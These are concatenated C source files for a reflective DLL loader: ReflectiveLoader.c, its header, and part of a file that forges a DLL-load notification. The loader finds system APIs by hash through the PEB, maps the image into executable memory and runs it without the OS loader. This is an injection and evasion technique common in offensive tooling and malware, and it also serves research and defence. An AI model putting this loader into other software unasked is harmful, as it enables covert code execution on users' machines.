// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
// POSSIBILITY OF SUCH DAMAGE.
//===============================================================================================//
#include "ReflectiveLoader.h"
//===============================================================================================//
// Our loader will set this to a pseudo correct HINSTANCE/HMODULE value
HINSTANCE hAppInstance = NULL;
//===============================================================================================//
#pragma intrinsic( _ReturnAddress )
// This function can not be inlined by the compiler or we will not get the address we expect. Ideally
// this code will be compiled with the /O2 and /Ob1 switches. Bonus points if we could take advantage of
// RIP relative addressing in this instance but I dont believe we can do so with the compiler intrinsics
// available (and no inline asm available under x64).
__declspec(noinline) ULONG_PTR caller( VOID ) { return (ULONG_PTR)_ReturnAddress(); }
//===============================================================================================//
// Note 1: If you want to have your own DllMain, define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN,
// otherwise the DllMain at the end of this file will be used.
// Note 2: If you are injecting the DLL via LoadRemoteLibraryR, define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR,
// otherwise it is assumed you are calling the ReflectiveLoader via a stub.
// This is our position independent reflective DLL loader/injector
#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader( LPVOID lpParameter )
#else
DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader( VOID )
#endif
{
// the functions we need
LOADLIBRARYA pLoadLibraryA = NULL;
GETPROCADDRESS pGetProcAddress = NULL;
VIRTUALALLOC pVirtualAlloc = NULL;
NTFLUSHINSTRUCTIONCACHE pNtFlushInstructionCache = NULL;
USHORT usCounter;
// the initial location of this image in memory
ULONG_PTR uiLibraryAddress;
// the kernels base address and later this images newly loaded base address
ULONG_PTR uiBaseAddress;
// variables for processing the kernels export table
ULONG_PTR uiAddressArray;
ULONG_PTR uiNameArray;
ULONG_PTR uiExportDir;
ULONG_PTR uiNameOrdinals;
DWORD dwHashValue;
// variables for loading this image
ULONG_PTR uiHeaderValue;
ULONG_PTR uiValueA;
ULONG_PTR uiValueB;
ULONG_PTR uiValueC;
ULONG_PTR uiValueD;
ULONG_PTR uiValueE;
// STEP 0: calculate our images current base address
// we will start searching backwards from our callers return address.
uiLibraryAddress = caller();
// loop through memory backwards searching for our images base address
// we dont need SEH style search as we shouldnt generate any access violations with this
while( TRUE )
{
if( ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE )
{
uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
// some x64 dll's can trigger a bogus signature (IMAGE_DOS_SIGNATURE == 'POP r10'),
// we sanity check the e_lfanew with an upper threshold value of 1024 to avoid problems.
if( uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024 )
{
uiHeaderValue += uiLibraryAddress;
// break if we have found a valid MZ/PE header
if( ((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE )
break;
}
}
uiLibraryAddress--;
}
// STEP 1: process the kernels exports for the functions our loader needs...
// get the Process Enviroment Block
#ifdef WIN_X64
uiBaseAddress = __readgsqword( 0x60 );
#else
#ifdef WIN_X86
uiBaseAddress = __readfsdword( 0x30 );
#else WIN_ARM
uiBaseAddress = *(DWORD *)( (BYTE *)_MoveFromCoprocessor( 15, 0, 13, 0, 2 ) + 0x30 );
#endif
#endif
// get the processes loaded modules. ref: http://msdn.microsoft.com/en-us/library/aa813708(VS.85).aspx
uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr;
// get the first entry of the InMemoryOrder module list
uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink;
while( uiValueA )
{
// get pointer to current modules name (unicode string)
uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer;
// set bCounter to the length for the loop
usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length;
// clear uiValueC which will store the hash of the module name
uiValueC = 0;
// compute the hash of the module name...
do
{
uiValueC = ror( (DWORD)uiValueC );
// normalize to uppercase if the madule name is in lowercase
if( *((BYTE *)uiValueB) >= 'a' )
uiValueC += *((BYTE *)uiValueB) - 0x20;
else
uiValueC += *((BYTE *)uiValueB);
uiValueB++;
} while( --usCounter );
// compare the hash with that of kernel32.dll
if( (DWORD)uiValueC == KERNEL32DLL_HASH )
{
// get this modules base address
uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
// get the VA of the modules NT Header
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
// uiNameArray = the address of the modules export directory entry
uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
// get the VA of the export directory
uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
// get the VA for the array of name pointers
uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames );
// get the VA for the array of name ordinals
uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals );
usCounter = 3;
// loop while we still have imports to find
while( usCounter > 0 )
{
// compute the hash values for this function name
dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) );
// if we have found a function we want we get its virtual address
if( dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH )
{
// get the VA for the array of addresses
uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
// use this functions name ordinal as an index into the array of name pointers
uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );
// store this functions VA
if( dwHashValue == LOADLIBRARYA_HASH )
pLoadLibraryA = (LOADLIBRARYA)( uiBaseAddress + DEREF_32( uiAddressArray ) );
else if( dwHashValue == GETPROCADDRESS_HASH )
pGetProcAddress = (GETPROCADDRESS)( uiBaseAddress + DEREF_32( uiAddressArray ) );
else if( dwHashValue == VIRTUALALLOC_HASH )
pVirtualAlloc = (VIRTUALALLOC)( uiBaseAddress + DEREF_32( uiAddressArray ) );
// decrement our counter
usCounter--;
}
// get the next exported function name
uiNameArray += sizeof(DWORD);
// get the next exported function name ordinal
uiNameOrdinals += sizeof(WORD);
}
}
else if( (DWORD)uiValueC == NTDLLDLL_HASH )
{
// get this modules base address
uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
// get the VA of the modules NT Header
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
// uiNameArray = the address of the modules export directory entry
uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
// get the VA of the export directory
uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
// get the VA for the array of name pointers
uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames );
// get the VA for the array of name ordinals
uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals );
usCounter = 1;
// loop while we still have imports to find
while( usCounter > 0 )
{
// compute the hash values for this function name
dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) );
// if we have found a function we want we get its virtual address
if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH )
{
// get the VA for the array of addresses
uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
// use this functions name ordinal as an index into the array of name pointers
uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );
// store this functions VA
if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH )
pNtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE)( uiBaseAddress + DEREF_32( uiAddressArray ) );
// decrement our counter
usCounter--;
}
// get the next exported function name
uiNameArray += sizeof(DWORD);
// get the next exported function name ordinal
uiNameOrdinals += sizeof(WORD);
}
}
// we stop searching when we have found everything we need.
if( pLoadLibraryA && pGetProcAddress && pVirtualAlloc && pNtFlushInstructionCache )
break;
// get the next entry
uiValueA = DEREF( uiValueA );
}
// STEP 2: load our image into a new permanent location in memory...
// get the VA of the NT Header for the PE to be loaded
uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
// allocate all the memory for the DLL to be loaded into. we can load at any address because we will
// relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems.
uiBaseAddress = (ULONG_PTR)pVirtualAlloc( NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
// we must now copy over the headers
uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders;
uiValueB = uiLibraryAddress;
uiValueC = uiBaseAddress;
while( uiValueA-- )
*(BYTE *)uiValueC++ = *(BYTE *)uiValueB++;
// STEP 3: load in all of our sections...
// uiValueA = the VA of the first section
uiValueA = ( (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader );
// itterate through all sections, loading them into memory.
uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections;
while( uiValueE-- )
{
// uiValueB is the VA for this section
uiValueB = ( uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress );
// uiValueC if the VA for this sections data
uiValueC = ( uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData );
// copy the section over
uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData;
while( uiValueD-- )
*(BYTE *)uiValueB++ = *(BYTE *)uiValueC++;
// get the VA of the next section
uiValueA += sizeof( IMAGE_SECTION_HEADER );
}
// STEP 4: process our images import table...
// uiValueB = the address of the import directory
uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ];
// we assume their is an import table to process
// uiValueC is the first entry in the import table
uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );
// itterate through all imports
while( ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name )
{
// use LoadLibraryA to load the imported module into memory
uiLibraryAddress = (ULONG_PTR)pLoadLibraryA( (LPCSTR)( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) );
// uiValueD = VA of the OriginalFirstThunk
uiValueD = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk );
// uiValueA = VA of the IAT (via first thunk not origionalfirstthunk)
uiValueA = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk );
// itterate through all imported functions, importing by ordinal if no name present
while( DEREF(uiValueA) )
{
// sanity check uiValueD as some compilers only import by FirstThunk
if( uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG )
{
// get the VA of the modules NT Header
uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
// uiNameArray = the address of the modules export directory entry
uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
// get the VA of the export directory
uiExportDir = ( uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
// get the VA for the array of addresses
uiAddressArray = ( uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
// use the import ordinal (- export ordinal base) as an index into the array of addresses
uiAddressArray += ( ( IMAGE_ORDINAL( ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal ) - ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->Base ) * sizeof(DWORD) );
// patch in the address for this imported function
DEREF(uiValueA) = ( uiLibraryAddress + DEREF_32(uiAddressArray) );
}
else
{
// get the VA of this functions import by name struct
uiValueB = ( uiBaseAddress + DEREF(uiValueA) );
// use GetProcAddress and patch in the address for this imported function
DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress( (HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name );
}
// get the next imported function
uiValueA += sizeof( ULONG_PTR );
if( uiValueD )
uiValueD += sizeof( ULONG_PTR );
}
// get the next import
uiValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR );
}
// STEP 5: process all of our images relocations...
// calculate the base address delta and perform relocations (even if we load at desired image base)
uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase;
// uiValueB = the address of the relocation directory
uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ];
// check if their are any relocations present
if( ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size )
{
// uiValueC is now the first entry (IMAGE_BASE_RELOCATION)
uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );
// and we itterate through all entries...
while( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock )
{
// uiValueA = the VA for this relocation block
uiValueA = ( uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress );
// uiValueB = number of entries in this relocation block
uiValueB = ( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION) ) / sizeof( IMAGE_RELOC );
// uiValueD is now the first entry in the current relocation block
uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION);
// we itterate through all the entries in the current block...
while( uiValueB-- )
{
// perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required.
// we dont use a switch statement to avoid the compiler building a jump table
// which would not be very position independent!
if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64 )
*(ULONG_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress;
else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW )
*(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress;
#ifdef WIN_ARM
// Note: On ARM, the compiler optimization /O2 seems to introduce an off by one issue, possibly a code gen bug. Using /O1 instead avoids this problem.
else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_ARM_MOV32T )
{
register DWORD dwInstruction;
register DWORD dwAddress;
register WORD wImm;
// get the MOV.T instructions DWORD value (We add 4 to the offset to go past the first MOV.W which handles the low word)
dwInstruction = *(DWORD *)( uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD) );
// flip the words to get the instruction as expected
dwInstruction = MAKELONG( HIWORD(dwInstruction), LOWORD(dwInstruction) );
// sanity chack we are processing a MOV instruction...
if( (dwInstruction & ARM_MOV_MASK) == ARM_MOVT )
{
// pull out the encoded 16bit value (the high portion of the address-to-relocate)
wImm = (WORD)( dwInstruction & 0x000000FF);
wImm |= (WORD)((dwInstruction & 0x00007000) >> 4);
wImm |= (WORD)((dwInstruction & 0x04000000) >> 15);
wImm |= (WORD)((dwInstruction & 0x000F0000) >> 4);
// apply the relocation to the target address
dwAddress = ( (WORD)HIWORD(uiLibraryAddress) + wImm ) & 0xFFFF;
// now create a new instruction with the same opcode and register param.
dwInstruction = (DWORD)( dwInstruction & ARM_MOV_MASK2 );
// patch in the relocated address...
dwInstruction |= (DWORD)(dwAddress & 0x00FF);
dwInstruction |= (DWORD)(dwAddress & 0x0700) << 4;
dwInstruction |= (DWORD)(dwAddress & 0x0800) << 15;
dwInstruction |= (DWORD)(dwAddress & 0xF000) << 4;
// now flip the instructions words and patch back into the code...
*(DWORD *)( uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD) ) = MAKELONG( HIWORD(dwInstruction), LOWORD(dwInstruction) );
}
}
#endif
else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH )
*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress);
else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW )
*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress);
// get the next entry in the current relocation block
uiValueD += sizeof( IMAGE_RELOC );
}
// get the next entry in the relocation directory
uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock;
}
}
// STEP 6: call our images entry point
// uiValueA = the VA of our newly loaded DLL/EXE's entry point
uiValueA = ( uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint );
// We must flush the instruction cache to avoid stale code being used which was updated by our relocation processing.
pNtFlushInstructionCache( (HANDLE)-1, NULL, 0 );
// call our respective entry point, fudging our hInstance value
#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
// if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter)
((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter );
#else
// if we are injecting an DLL via a stub we call DllMain with no parameter
((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL );
#endif
// STEP 8: return our new entry point address so whatever called us can call DllMain() if needed.
return uiValueA;
}
//===============================================================================================//
#ifndef REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved )
{
BOOL bReturnValue = TRUE;
switch( dwReason )
{
case DLL_QUERY_HMODULE:
if( lpReserved != NULL )
*(HMODULE *)lpReserved = hAppInstance;
break;
case DLL_PROCESS_ATTACH:
hAppInstance = hinstDLL;
break;
case DLL_PROCESS_DETACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
break;
}
return bReturnValue;
}
#endif
//===============================================================================================//

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//===============================================================================================//
// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification, are permitted
// provided that the following conditions are met:
//
// * Redistributions of source code must retain the above copyright notice, this list of
// conditions and the following disclaimer.
//
// * Redistributions in binary form must reproduce the above copyright notice, this list of
// conditions and the following disclaimer in the documentation and/or other materials provided
// with the distribution.
//
// * Neither the name of Harmony Security nor the names of its contributors may be used to
// endorse or promote products derived from this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
// POSSIBILITY OF SUCH DAMAGE.
//===============================================================================================//
#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H
#define _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H
//===============================================================================================//
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <Winsock2.h>
#include <intrin.h>
#include "ReflectiveDLLInjection.h"
typedef HMODULE (WINAPI * LOADLIBRARYA)( LPCSTR );
typedef FARPROC (WINAPI * GETPROCADDRESS)( HMODULE, LPCSTR );
typedef LPVOID (WINAPI * VIRTUALALLOC)( LPVOID, SIZE_T, DWORD, DWORD );
typedef DWORD (NTAPI * NTFLUSHINSTRUCTIONCACHE)( HANDLE, PVOID, ULONG );
#define KERNEL32DLL_HASH 0x6A4ABC5B
#define NTDLLDLL_HASH 0x3CFA685D
#define LOADLIBRARYA_HASH 0xEC0E4E8E
#define GETPROCADDRESS_HASH 0x7C0DFCAA
#define VIRTUALALLOC_HASH 0x91AFCA54
#define NTFLUSHINSTRUCTIONCACHE_HASH 0x534C0AB8
#define IMAGE_REL_BASED_ARM_MOV32A 5
#define IMAGE_REL_BASED_ARM_MOV32T 7
#define ARM_MOV_MASK (DWORD)(0xFBF08000)
#define ARM_MOV_MASK2 (DWORD)(0xFBF08F00)
#define ARM_MOVW 0xF2400000
#define ARM_MOVT 0xF2C00000
#define HASH_KEY 13
//===============================================================================================//
#pragma intrinsic( _rotr )
__forceinline DWORD ror( DWORD d )
{
return _rotr( d, HASH_KEY );
}
__forceinline DWORD hash( char * c )
{
register DWORD h = 0;
do
{
h = ror( h );
h += *c;
} while( *++c );
return h;
}
//===============================================================================================//
typedef struct _UNICODE_STR
{
USHORT Length;
USHORT MaximumLength;
PWSTR pBuffer;
} UNICODE_STR, *PUNICODE_STR;
// WinDbg> dt -v ntdll!_LDR_DATA_TABLE_ENTRY
//__declspec( align(8) )
typedef struct _LDR_DATA_TABLE_ENTRY
{
//LIST_ENTRY InLoadOrderLinks; // As we search from PPEB_LDR_DATA->InMemoryOrderModuleList we dont use the first entry.
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
PVOID DllBase;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STR FullDllName;
UNICODE_STR BaseDllName;
ULONG Flags;
SHORT LoadCount;
SHORT TlsIndex;
LIST_ENTRY HashTableEntry;
ULONG TimeDateStamp;
} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;
// WinDbg> dt -v ntdll!_PEB_LDR_DATA
typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes
{
DWORD dwLength;
DWORD dwInitialized;
LPVOID lpSsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
LPVOID lpEntryInProgress;
} PEB_LDR_DATA, * PPEB_LDR_DATA;
// WinDbg> dt -v ntdll!_PEB_FREE_BLOCK
typedef struct _PEB_FREE_BLOCK // 2 elements, 0x8 bytes
{
struct _PEB_FREE_BLOCK * pNext;
DWORD dwSize;
} PEB_FREE_BLOCK, * PPEB_FREE_BLOCK;
// struct _PEB is defined in Winternl.h but it is incomplete
// WinDbg> dt -v ntdll!_PEB
typedef struct __PEB // 65 elements, 0x210 bytes
{
BYTE bInheritedAddressSpace;
BYTE bReadImageFileExecOptions;
BYTE bBeingDebugged;
BYTE bSpareBool;
LPVOID lpMutant;
LPVOID lpImageBaseAddress;
PPEB_LDR_DATA pLdr;
LPVOID lpProcessParameters;
LPVOID lpSubSystemData;
LPVOID lpProcessHeap;
PRTL_CRITICAL_SECTION pFastPebLock;
LPVOID lpFastPebLockRoutine;
LPVOID lpFastPebUnlockRoutine;
DWORD dwEnvironmentUpdateCount;
LPVOID lpKernelCallbackTable;
DWORD dwSystemReserved;
DWORD dwAtlThunkSListPtr32;
PPEB_FREE_BLOCK pFreeList;
DWORD dwTlsExpansionCounter;
LPVOID lpTlsBitmap;
DWORD dwTlsBitmapBits[2];
LPVOID lpReadOnlySharedMemoryBase;
LPVOID lpReadOnlySharedMemoryHeap;
LPVOID lpReadOnlyStaticServerData;
LPVOID lpAnsiCodePageData;
LPVOID lpOemCodePageData;
LPVOID lpUnicodeCaseTableData;
DWORD dwNumberOfProcessors;
DWORD dwNtGlobalFlag;
LARGE_INTEGER liCriticalSectionTimeout;
DWORD dwHeapSegmentReserve;
DWORD dwHeapSegmentCommit;
DWORD dwHeapDeCommitTotalFreeThreshold;
DWORD dwHeapDeCommitFreeBlockThreshold;
DWORD dwNumberOfHeaps;
DWORD dwMaximumNumberOfHeaps;
LPVOID lpProcessHeaps;
LPVOID lpGdiSharedHandleTable;
LPVOID lpProcessStarterHelper;
DWORD dwGdiDCAttributeList;
LPVOID lpLoaderLock;
DWORD dwOSMajorVersion;
DWORD dwOSMinorVersion;
WORD wOSBuildNumber;
WORD wOSCSDVersion;
DWORD dwOSPlatformId;
DWORD dwImageSubsystem;
DWORD dwImageSubsystemMajorVersion;
DWORD dwImageSubsystemMinorVersion;
DWORD dwImageProcessAffinityMask;
DWORD dwGdiHandleBuffer[34];
LPVOID lpPostProcessInitRoutine;
LPVOID lpTlsExpansionBitmap;
DWORD dwTlsExpansionBitmapBits[32];
DWORD dwSessionId;
ULARGE_INTEGER liAppCompatFlags;
ULARGE_INTEGER liAppCompatFlagsUser;
LPVOID lppShimData;
LPVOID lpAppCompatInfo;
UNICODE_STR usCSDVersion;
LPVOID lpActivationContextData;
LPVOID lpProcessAssemblyStorageMap;
LPVOID lpSystemDefaultActivationContextData;
LPVOID lpSystemAssemblyStorageMap;
DWORD dwMinimumStackCommit;
} _PEB, * _PPEB;
typedef struct
{
WORD offset:12;
WORD type:4;
} IMAGE_RELOC, *PIMAGE_RELOC;
//===============================================================================================//
#endif
//===============================================================================================//

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#include "ReflectiveLoader.h"
#include "ShimsInstaller.h"
#define LDR_DLL_NOTIFICATION_REASON_LOADED 1
typedef struct _MY_LDR_DATA_TABLE_ENTRY {
PVOID Reserved1[2];
LIST_ENTRY InMemoryOrderLinks;
PVOID Reserved2[2];
PVOID DllBase;
PVOID EntryPoint;
ULONG SizeOfImage;
//PVOID Reserved3[2];
UNICODE_STR FullDllName;
UNICODE_STR BaseDllName;
//BYTE Reserved4[8];
PVOID Reserved5[3];
union {
ULONG CheckSum;
PVOID Reserved6;
} DUMMYUNIONNAME;
ULONG TimeDateStamp;
} MY_LDR_DATA_TABLE_ENTRY, *PMY_LDR_DATA_TABLE_ENTRY;
typedef struct _LDR_DLL_LOADED_NOTIFICATION_DATA {
// Reserved.
ULONG Flags;
// The full path name of the DLL module.
PUNICODE_STR FullDllName;
// The base file name of the DLL module.
PUNICODE_STR BaseDllName;
// A pointer to the base address for the DLL in memory.
PVOID DllBase;
// The size of the DLL image, in bytes.
ULONG SizeOfImage;
} LDR_DLL_LOADED_NOTIFICATION_DATA, *PLDR_DLL_LOADED_NOTIFICATION_DATA;
typedef void (WINAPI *PNotificationFunc)(UINT, PLDR_DLL_LOADED_NOTIFICATION_DATA);
typedef int (WINAPI *PcshimBindingsHookFunc)(HINSTANCE, UINT, PVOID);
typedef BOOL (WINAPI *PentryPoint)(HINSTANCE, DWORD, LPVOID);
static PMY_LDR_DATA_TABLE_ENTRY fakeLdrEntry = NULL;
static PLDR_DLL_LOADED_NOTIFICATION_DATA fakeNotification = NULL;
static LIST_ENTRY headBackup;
static VOID CreateFakeNotification(HINSTANCE hinstDLL)
{
fakeNotification = (PLDR_DLL_LOADED_NOTIFICATION_DATA)malloc(sizeof(LDR_DLL_LOADED_NOTIFICATION_DATA));
fakeNotification->DllBase = hinstDLL;
fakeNotification->BaseDllName = (PUNICODE_STR)malloc(sizeof(UNICODE_STR));
fakeNotification->BaseDllName->pBuffer = L"WinRefl.dll";
fakeNotification->BaseDllName->Length = wcslen(fakeNotification->BaseDllName->pBuffer) * 2;
fakeNotification->BaseDllName->MaximumLength = fakeNotification->BaseDllName->Length + 2;
fakeNotification->FullDllName = (PUNICODE_STR)malloc(sizeof(UNICODE_STR));
fakeNotification->FullDllName->pBuffer = L"WinRefl.dll";
fakeNotification->FullDllName->Length = wcslen(fakeNotification->FullDllName->pBuffer) * 2;
fakeNotification->FullDllName->MaximumLength = fakeNotification->FullDllName->Length + 2;
fakeNotification->SizeOfImage = 0x1b000;
fakeNotification->Flags = 0;
}
static VOID DeleteFakeNotification() {
free(fakeNotification->BaseDllName);
fakeNotification->BaseDllName = NULL;
free(fakeNotification->FullDllName);
fakeNotification->FullDllName = NULL;
free(fakeNotification);
fakeNotification = NULL;
}
